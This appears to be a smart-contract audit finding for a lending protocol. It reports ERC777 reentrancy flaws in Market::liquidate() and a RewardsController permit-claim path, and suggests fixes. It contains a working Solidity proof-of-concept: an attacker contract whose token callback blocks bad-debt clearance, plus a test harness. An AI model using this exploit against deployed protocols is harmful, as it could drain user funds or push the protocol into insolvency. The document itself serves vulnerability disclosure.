Warm Cinnabar Lion

high

# `ERC777` tokens may be used to create bad debt for the protocol or steal unsigned earnings

## Summary

`Market::liquidate()` seizes the assets from the liquidatee to the liquidator before clearing the bad debt of the liquidatee, allowing the liquidator to do a 1 wei deposit to the liquidatee and prevent bad debt clearance. Also, attackers may have asigned permit of certain rewrads, but use it to steal all rewards

## Vulnerability Detail

`Market::liquidate()` calls `Market::size()` if the seize market is not `this`, else it calls `Market::internalSeize()`. There, the shares of the liquidatee are burned and the assets transferred to the liquidator. Thus, if the token implements a callback, such as `ERC777` tokens, the liquidator acquires control of the flow. Due to the fact that `Market::liquidate()` only clears the bad debt after seizing the collateral to the liquidator, it may deposit 1 wei to the liquidatee, which will stop bad debt from being cleared. This is profitable for the protocol depositors as bad debt would be cleared through reducing the earnings accumulator, but could lead to insolvency in the long term if debt grows unbounded.

Another attacker vector is exploiting the fact that `_claimSender` in `RewardsController` is stored as `permit.owner` in the `permitSender` modifier. When calling `claim()` with the permit, `_claimSender == permit.owner`, and when transferring the `permit.assets` rewards, the attacker gains control and may call the function `claim()` that has the `claimSender` modifier, and steal all rewards, not only the signed ones. This works because `claimSender()` only modifies `_claimSender` if it is not set, `if (_claimSender == address(0)) _claimSender = msg.sender;`, meant to be compatible with `claimPermit`, but makes it vulnerable to reentrancy.

The documentation does not mention that `ERC777` are not supported, only that fee on transfer tokens are not. Thus, it is safe to assume that the protocol may whitelist an `ERC777` token, being in scope.

The following POC demonstrates how an `ERC777` token may be used to never clean bad debt. Add the following code to `Market.t.sol`. The test must be run with the `--rpc-url` flag on, as it interacts with the `IERC1820Registry`.
```solidity
contract LiquidatorContract {
  address private _target;
  IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
  bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");

  constructor(Market market) public {
    market.asset().approve(address(market), type(uint256).max);
    _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
  }

  function liquidate(Market market, address target) public {
    _target = target;
    market.liquidate(target, type(uint256).max, market);
  }

  function tokensReceived(
      address operator,
      address from,
      address to,
      uint256 amount,
      bytes calldata userData,
      bytes calldata operatorData
  ) external {
      Market(from).deposit(10, _target);
  }
}

function test_POC_badDebt_dueTo_ERC777Rentrancy() public {
  ERC20 erc777token = ERC20(address(new ERC777("token", "tk", new address[](0))));

  Market marketERC777 = Market(address(new ERC1967Proxy(address(new Market(erc777token, auditor)), "")));
  marketERC777.initialize(
    "ERC777", 3, 1e18, InterestRateModel(address(irm)), 0.02e18 / uint256(1 days), 1e17, 0, 0.0046e18, 0.42e18
  );
  auditor.enableMarket(marketERC777, daiPriceFeed, 0.9e18);

  uint256 assets = 10_000 ether;
  deal(address(erc777token), ALICE, assets);
  vm.startPrank(ALICE);
  erc777token.approve(address(marketERC777), type(uint256).max);
  marketERC777.deposit(assets, ALICE);
  marketERC777.borrow(assets*9*9/10/10, ALICE, ALICE);
  vm.stopPrank();

  // BOB deposits to get fees from alice borrow
  deal(address(erc777token), BOB, 110_000 ether);
  vm.startPrank(BOB);
  erc777token.approve(address(marketERC777), type(uint256).max);
  marketERC777.deposit(100_000 ether, BOB);

  skip(10000 days); // debt must be greater than collateral

  // BOB deposits to prove this POC, or 
  // alice will get some collateral from lenders incentive    
  marketERC777.deposit(assets, BOB);
  vm.stopPrank();

  (uint256 collateral, uint256 debt) = marketERC777.accountSnapshot(ALICE);
  assertGt(debt, collateral);

  LiquidatorContract liquidatorContract = new LiquidatorContract(marketERC777);
  deal(address(erc777token), address(liquidatorContract), assets);
  liquidatorContract.liquidate(marketERC777, ALICE);

  (collateral, debt) = marketERC777.accountSnapshot(ALICE);
  assertEq(collateral, 9);
}
```

## Impact

Short term depositors profit from this exploit but long term the protocol will likely become insolvent. 
`RewardsController` permit users may steal rewards that were not signed.

## Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L601-L604
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L611
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L693

## Tool used

Manual Review

Vscode

## Recommendation

In the `Market`, transfer the collateral to the liquidator only at the end of the liquidation, following the check effects interaction pattern. Optionally include `nonReentrant` modifiers.

In the `RewardsController`, when deleting `_claimSender` in the `claimSender` and `claimPermit` modifiers, revert if it was already `0`. This way, reentrancy will be impossible, as the inner call would clear `_claimSender`.